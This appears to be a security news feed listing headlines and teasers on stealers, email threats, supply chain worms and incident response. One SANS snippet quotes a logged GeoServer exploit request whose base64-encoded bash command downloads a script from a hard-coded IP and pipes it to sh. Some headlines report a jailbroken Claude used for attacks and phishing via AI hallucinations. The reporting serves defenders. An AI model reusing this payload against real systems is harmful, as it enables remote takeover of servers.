Email threat landscape: Q2 2026 trends and insights
In this article The second quarter of 2026 (April–June) was largely defined by the continuing downstream effects following Microsoft’s Digital […]
Dolphin X Stealer Targets 300+ Apps and Profiles Users with AI
Varonis Threat Labs discovered Dolphin X advertised on a cybercrime forum by a vendor using the alias “Kontraktnik.”
Rondo Meets Geoserver – SANS Internet Storm Center
This isn’t a new attack, but something I saw “pop-up” in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host:
The New AI SOC Career Path
AI is absorbing the volume work that makes up the fundamental architecture of the Security Operations Center (SOC) tier system.
Attackers Exploit AI Hallucinations to Send Users to Phishing Sites
Threat actors are using a new technique called “phantom squatting” to trick AI tools into directing users to phishing sites,
Real world incident response: Microsoft and AXA XL strengthen cyber resilience
Cyber incidents don’t wait—and effective response can’t either. In the age of AI where cyber incidents unfold at machine speed,
New BitLocker extortion activity: RDP, MSSQL, RMM Abuse
Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation
Detecting SANDWORM_MODE and AI Toolchain Supply Chain Attacks
In February 2026, Socket.dev published research on a multi-stage npm supply chain worm operating under the internal flag SANDWORM_MODE. The
An Explosion of Surveillance Towers is Coming to U.S. Borders, Costing Over $1 Billion
A new report from the Government Accounting Office reveals that the Department of Homeland Security (DHS) plans to nearly triple
Russian Hacker Turns Jailbroken Claude Into Pentest Platform
A Russian-speaking cyber-criminal has been observed moving in three months from posting a jailbreak tutorial on a Russian-language forum to